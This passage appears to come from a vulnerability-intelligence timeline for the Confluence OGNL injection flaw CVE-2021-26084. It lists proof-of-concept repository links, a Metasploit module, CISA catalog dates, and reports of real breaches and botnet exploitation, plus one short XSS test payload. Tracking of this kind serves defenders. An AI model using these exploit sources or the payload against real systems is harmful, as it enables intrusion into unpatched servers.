"GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 - Confluence Server Webwork OGNL injection \nURL\uff1ahttps://github.com/oxctdev/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/665"}, {"timestamp": "2021-10-07T09:20:05Z", "date_only": false, "value": "2021-10-07T09:20:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacker_trick/254", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a9283dd0-fc7a-4234-a661-aa14eae5e664", "content": "A framework for bug hunting or pentesting targeting websites that have CVE-2021-41773 Vulnerability in public\nhttps://github.com/HightechSec/scarce-apache2\n\nCVE-2021-26084 - Confluence Server Webwork OGNL injection\nhttps://github.com/oxctdev/CVE-2021-26084", "url": "https://t.me/hacker_trick/254"}, {"timestamp": "2021-10-08T23:34:10Z", "date_only": false, "value": "2021-10-08T23:34:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyber0iq/31", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "19de6882-7aa6-412f-9cc2-6b03abce40a5", "content": "CVE-2021-26084 Remote Code Execution on Confluence Servers\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/cyber0iq/31"}, {"timestamp": "2021-10-12T00:54:17Z", "date_only": false, "value": "2021-10-12T00:54:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Bwhlsc-Y3enSgbjkQ9Wk9uiRo44BFzWhJ0GeBf5ujqQklw", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "86878a62-c3d3-4e68-8973-e6b632f3a906"}, {"timestamp": "2021-10-18T14:52:26Z", "date_only": false, "value": "2021-10-18T14:52:26.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/atlassian_confluence_webwork_ognl_injection.rb", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "54a04c34-729a-49bc-a0ec-fcc724dfb667", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/atlassian_confluence_webwork_ognl_injection.rb"}, {"timestamp": "2021-10-18T16:21:49Z", "date_only": false, "value": "2021-10-18T16:21:49.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/40789", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5672d309-f1fd-41d7-9b7c-2bc2414060dc", "content": "Tracking CVE-2021-26084 and Other Server-Based Vulnerability Exploits via Trend Micro Cloud One and Trend Micro Vision One\n\nhttps://ift.tt/3voUOKc", "url": "https://t.me/ctinow/40789"}, {"timestamp": "2021-10-20T04:25:00Z", "date_only": false, "value": "2021-10-20T04:25:00.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/D4RKW0R1D/8059", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3c868880-144c-439a-ab3d-148b0531d62f", "content": "CVE-2021-26084 Remote Code Execution on Confluence Servers\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/D4RKW0R1D/8059"}, {"timestamp": "2021-10-20T06:24:29Z", "date_only": false, "value": "2021-10-20T06:24:29.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/D4RKW0R1D/1367", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7ff57281-a2a9-4071-b7f9-16e8e0e12a86", "content": "CVE-2021-26084 Remote Code Execution on Confluence Servers\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/D4RKW0R1D/1367"}, {"timestamp": "2021-10-20T09:50:13Z", "date_only": false, "value": "2021-10-20T09:50:13.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Noobsec/255", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9e810dd2-506e-4bb1-a0d1-2af3b7f766b0", "content": "CVE-2021-26084 Remote Code Execution on Confluence Servers\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/Noobsec/255"}, {"timestamp": "2021-10-25T22:32:43Z", "date_only": false, "value": "2021-10-25T22:32:43.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/63ddead6-4b82-414c-ad8e-c516b950b446", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5097f878-664b-47bb-8c89-e13604e6ff33"}, {"timestamp": "2021-10-26T06:03:04Z", "date_only": false, "value": "2021-10-26T06:03:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/748", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2d7991a6-a792-4594-ab2c-b0f0b95fce1d", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084\uff0cAtlassian Confluence OGNL\u6ce8\u5165\u6f0f\u6d1e\nURL\uff1ahttps://github.com/lleavesl/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/748"}, {"timestamp": "2021-10-26T10:26:20Z", "date_only": false, "value": "2021-10-26T10:26:20.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/5740", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "cf9908ac-f4b2-4183-b46f-011dd1829799", "content": "CVE-2021-26084\uff0cAtlassian Confluence OGNL\nhttps://github.com/lleavesl/CVE-2021-26084", "url": "https://t.me/thebugbountyhunter/5740"}, {"timestamp": "2021-10-28T12:04:52Z", "date_only": false, "value": "2021-10-28T12:04:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/tmsilent/875", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6e62a33f-dbe8-4dee-9729-884f68080cdc", "content": "https://github.com/h3v0x/CVE-2021-26084_Confluence", "url": "https://t.me/tmsilent/875"}, {"timestamp": "2021-10-30T13:02:17Z", "date_only": false, "value": "2021-10-30T13:02:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/J3bG-U98KwlVnXqQ84BIxIpjWzBnorPnmzCIvlJYtL0F0A", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e134b517-1971-4ea3-afa4-c88823996de6"}, {"timestamp": "2021-11-02T08:29:04Z", "date_only": false, "value": "2021-11-02T08:29:04.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/dataleak/2404", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4a05a294-40ff-4d35-b426-3a618d4777c6", "content": "\u041d\u0430\u043c \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e 15 \u043e\u043a\u0442\u044f\u0431\u0440\u044f \u0431\u044b\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u0430 Confluence (\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043b\u044f \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439) confluence.chronopay.com \u0438 cf.blackswordresearch.com.\n\n\u0427\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-26084) \u0445\u0430\u043a\u0435\u0440 \"\u0441\u043b\u0438\u043b\" \u043d\u0430\u0445\u043e\u0434\u0438\u0432\u0448\u0443\u044e\u0441\u044f \u0442\u0430\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0438\u043c\u0435\u044e\u0449\u0443\u044e \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u043a \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u043c\u0443 \u0438 \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u043e\u043c\u0443 \u0431\u0438\u0437\u043d\u0435\u0441\u0443 \u0420\u043e\u0441\u0441\u0438\u0438. \n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0445\u0430\u043a\u0435\u0440 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u0432 \u0441 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439. \u041f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0442\u043e \u043b\u0438 \u044d\u0442\u043e \u043c\u0435\u043c\u0443\u0430\u0440\u044b, \u0442\u043e \u043b\u0438 \u0434\u043e\u043d\u043e\u0441\u044b, \u0442\u043e \u043b\u0438 \u0432\u044b\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u044d\u043f\u0438\u0437\u043e\u0434\u044b \u0438\u0437 \u0445\u0443\u0434\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043b\u0438\u0442\u0435\u0440\u0430\u0442\u0443\u0440\u044b. \ud83d\ude02\n\n\u041f\u043e \u043d\u0430\u0448\u0435\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0431\u044b\u043b\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u0442\u0430 \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0432\u044b\u043a\u0443\u043f\u0430 \u0437\u0430 \u044d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435.", "url": "https://t.me/dataleak/2404"}, {"timestamp": "2021-11-02T15:05:50Z", "date_only": false, "value": "2021-11-02T15:05:50.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/OzmzOZ2eNSfh8nBvtW4eeLVQCZAVgdJWLsHRqZ1nynxQFy8", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b52b319d-f2f3-4290-8a96-9fb38d1d8016"}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2021-26084", "field": "timestamps.asserted_at", "uuid": "6d621247-2552-48c4-bb8b-05fae0429f21", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2021-26084", "field": "timestamps.asserted_at", "uuid": "879ce241-1757-46b2-b08b-35b572560a15", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": true, "value": "2021-11-03", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-26084", "field": "containers.adp.1.metrics.2.other.content.dateAdded"}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": true, "value": "2021-11-03", "kind": "other", "label": "Catalog added", "source": "gsd \u00b7 GSD-2021-26084", "record": "GSD-2021-26084", "field": "namespaces.cisa.gov.dateAdded"}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2021-26084", "field": "evidence.0.details.added_date", "uuid": "879ce241-1757-46b2-b08b-35b572560a15", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": true, "value": "2021-11-03", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2021-26084", "field": "evidence.0.details.date_added", "uuid": "6d621247-2552-48c4-bb8b-05fae0429f21", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2021-26084", "field": "timestamps.first_seen_at", "uuid": "6d621247-2552-48c4-bb8b-05fae0429f21", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2021-26084", "field": "timestamps.first_seen_at", "uuid": "879ce241-1757-46b2-b08b-35b572560a15", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2021-26084", "field": "status.status_updated_at", "uuid": "6d621247-2552-48c4-bb8b-05fae0429f21", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2021-26084", "field": "status.status_updated_at", "uuid": "879ce241-1757-46b2-b08b-35b572560a15", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-08T08:58:17Z", "date_only": false, "value": "2021-11-08T08:58:17.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "25b9b7ab-3405-43ff-b746-da412884035e"}, {"timestamp": "2021-11-08T11:07:01Z", "date_only": false, "value": "2021-11-08T11:07:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/4701", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e88d5754-982c-4de1-a170-73d3d96cefd7", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (Oct 1-31)\nCVE-2021-41773 - Apache 2.4.49 Path Traversal\nhttps://t.me/cybersecuritytechnologies/4454\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nhttps://t.me/cybersecuritytechnologies/4202\nCVE-2021-42013 - Apache 2.4.50 Path Traversal\nhttps://t.me/cybersecuritytechnologies/4475\nCVE-2021-22205 - GitLab CE/EE RCE\nhttps://t.me/cybersecuritytechnologies/4602\nCVE-2021-40449 - UaF in the NtGdiResetDC function of the Win32k driver\nhttps://t.me/cybersecuritytechnologies/4535\nCVE-2021-40438 - SSRF in Apache2 mod_proxy\nhttps://t.me/cybersecuritytechnologies/4529\nCVE-2021-30858 - UaF in WebKit\nhttps://t.me/cybersecuritytechnologies/4545\nCVE-2021-30883 - iOS IOMFB vulnerability\nhttps://t.me/cybersecuritytechnologies/4497\nCVE-2021-30892 - Shrootless Vulnerability in MacOS\nhttps://t.me/cybersecuritytechnologies/4623\nCVE-2022-1337 - \"View Source\"\nhttps://mobile.twitter.com/megab0t_/status/1452848917205458945\nPoC: JavaScript:https://#%0aalert('xss')", "url": "https://t.me/CyberSecurityTechnologies/4701"}, {"timestamp": "2021-11-12T08:42:34Z", "date_only": false, "value": "2021-11-12T08:42:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/confluence_cve_2021_26084", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5fc92ce3-5042-424c-aee2-18b1d4934a04", "url": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/confluence_cve_2021_26084"}, {"timestamp": "2021-11-17T00:00:00Z", "date_only": true, "value": "2021-11-17", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2021-26084", "field": "evidence.0.details.due_date", "uuid": "6d621247-2552-48c4-bb8b-05fae0429f21", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-17T00:00:00Z", "date_only": true, "value": "2021-11-17", "kind": "other", "label": "Remediation due", "source": "gsd \u00b7 GSD-2021-26084", "record": "GSD-2021-26084", "field": "namespaces.cisa.gov.dueDate"}, {"timestamp": "2021-11-20T09:53:52Z", "date_only": false, "value": "2021-11-20T09:53:52.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "05c161d9-2d62-4d3c-bd81-88b16c2eb0a4"}, {"timestamp": "2021-11-23T19:48:49Z", "date_only": false, "value": "2021-11-23T19:48:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/870", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "709e15c9-037b-45f1-82a2-0f844245e250", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPython 3 script to identify CVE-2021-26084 via network requests.\nURL\uff1ahttps://github.com/quesodipesto/conflucheck", "url": "https://t.me/GithubRedTeam/870"}, {"timestamp": "2021-11-23T22:53:46Z", "date_only": false, "value": "2021-11-23T22:53:46.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/1210", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "432ab5c9-1e48-4f65-8c1a-a61b16f80c5e", "content": "CVE-2021\nPython 3 script to identify CVE-2021-26084 via network requests.\nURL\uff1ahttps://github.com/quesodipesto/conflucheck\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/1210"}, {"timestamp": "2022-01-05T00:00:00Z", "date_only": false, "value": "2022-01-05T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2021-ALE-018", "record": "CERTFR-2021-ALE-018", "field": "revisions.1.revision_date"}, {"timestamp": "2022-01-13T06:32:09Z", "date_only": false, "value": "2022-01-13T06:32:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1313", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ca3a11ea-c132-436c-9fd1-c2f3f984e5a5", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPOC of CVE-2021-26084, which is Atlassian Confluence Server OGNL(Object-Graph Navigation Language) Injection Vulneralibity.\nURL\uff1ahttps://github.com/antx-code/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/1313"}, {"timestamp": "2022-01-25T16:46:30Z", "date_only": false, "value": "2022-01-25T16:46:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1385", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2578387e-daa6-4bd4-9aa0-4f3758c9a8b9", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-26084 - Confluence Server Webwork OGNL injection \nURL\uff1ahttps://github.com/thomsdev/CVE-2021-26084", "url": "https://t.me/GithubRedTeam/1385"}, {"timestamp": "2022-05-24T22:28:25Z", "date_only": false, "value": "2022-05-24T22:28:25Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-855C-XP53-5FP2", "record": "GHSA-855C-XP53-5FP2", "field": "published"}, {"timestamp": "2022-05-29T05:08:55Z", "date_only": false, "value": "2022-05-29T05:08:55.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/89", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2a9f5a2f-d59a-4496-837d-a209c3fb52f2", "content": "https://github.com/lleavesl/CVE-2021-26084", "url": "https://t.me/CNArsenal/89"}, {"timestamp": "2022-06-08T17:06:12Z", "date_only": false, "value": "2022-06-08T17:06:12.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / atlassian", "record": "CVE-2021-26084", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2022-06-09T14:06:18Z", "date_only": false, "value": "2022-06-09T14:06:18.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/SecLabNews/12262", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "77fd2020-9ba3-4168-8db0-0bfb88c18141", "content": "Linux-\u0431\u043e\u0442\u043d\u0435\u0442\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Atlassian Confluence\n\n\u2014 \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e Linux-\u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432 \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-26084 \u0432 \u041f\u041e Confluence Server \u0438 Confluence Data Center, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u2014 \u0421\u0440\u0435\u0434\u0438 \u044d\u0442\u0438\u0445 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Lacework Labs \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0442\u0440\u0438 \u0431\u043e\u0442\u043d\u0435\u0442\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u043a\u0430\u043a Kinsing , Hezb \u0438 Dark.IoT, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0437\u0430 \u0441\u0432\u043e\u0438 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 Linux-\u0441\u0435\u0440\u0432\u0435\u0440\u044b.\n\n\u2014 \"\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Confluence \u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u044b\u043b\u0438 \u043a\u0440\u0430\u0439\u043d\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b \u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432\", \u2013 \u043f\u043e\u044f\u0441\u043d\u0438\u043b\u0438 \u0432 Lacework Lab. \"\u0425\u043e\u0442\u044f \u043c\u044b \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c \u0431\u043e\u043b\u044c\u0448\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u043e\u043d\u0430 \u0432\u0441\u0435 \u0435\u0449\u0435 \u043d\u0438\u0437\u043a\u0430 \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 log4j \u0438\u043b\u0438 apache\".\n\nhttps://www.securitylab.ru/news/532204.php?R=1", "url": "https://t.me/SecLabNews/12262"}, {"timestamp": "2022-06-10T14:26:00Z", "date_only": false, "value": "2022-06-10T14:26Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2021-26084", "record": "GSD-2021-26084", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2022-09-12T21:58:14Z", "date_only": false, "value": "2022-09-12T21:58:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/5704", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b70f2296-cb71-4208-9e4b-fca2e90ad06e", "content": "CVE-2021-26084 Remote Code Execution on Confluence Servers\n\nhttps://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "url": "https://t.me/thebugbountyhunter/5704"}, {"timestamp": "2023-02-04T00:24:09Z", "date_only": false, "value": "2023-02-04T00:24:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/burpsuite/305", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2e83703c-9dfe-4856-9e09-30531eb67e47", "content": "Confluence server exploit CVE-2021-26084\n\nhttps://youtu.be/yMLoIJVz0YI", "url": "https://t.me/burpsuite/305"}, {"timestamp": "2023-04-21T20:53:15Z", "date_only": false, "value": "2023-04-21T20:53:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/codeb0ss/736", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bf2e6b91-c72a-4405-b8be-5a8cd4cc82a4", "content": "Mass CVE-2021-22005\nMass CVE-2021-26084\n\nMade at the request of our friend\n\nEnjoy:", "url": "https://t.me/codeb0ss/736"}, {"timestamp": "2023-06-23T06:19:27Z", "date_only": false, "value": "2023-06-23T06:19:27.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/ad5af8e7-0c4c-4b64-b36d-1c80910c1140", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c570ac34-9561-49a5-af5f-35dc93262788"}, {"timestamp": "2023-08-07T10:20:52Z", "date_only": false, "value": "2023-08-07T10:20:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/kasperskyb2b/786", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0e246192-d513-4194-b922-18309e5a6a9e", "content": "\u2705 \u0413\u043b\u0430\u0432\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \u043e\u0442\u0447\u0451\u0442 CISA \u0438 \u0438\u0445 \u0430\u043d\u0433\u043b\u043e\u044f\u0437\u044b\u0447\u043d\u044b\u0445 \u0441\u043e\u044e\u0437\u043d\u0438\u043a\u043e\u0432\n\n\u0412 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0433\u043e\u0434\u0430 \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432, \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0442 2022 \u0433\u043e\u0434, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u2014 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 12 \u043c\u0435\u0441\u044f\u0446\u0435\u0432, \u043d\u043e \u0432 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u043d\u0438 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u0443\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u044b. \u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043e\u0442\u0447\u0451\u0442\u0430 \u00ab\u043f\u044f\u0442\u0438\u0433\u043b\u0430\u0437\u044b\u0445\u00bb, \u043f\u043e\u0441\u0432\u044f\u0449\u0451\u043d\u043d\u043e\u0433\u043e \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \n\n\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u043d\u0435 \u043d\u043e\u0432 \u2014 \u0441\u0430\u043c\u044b\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 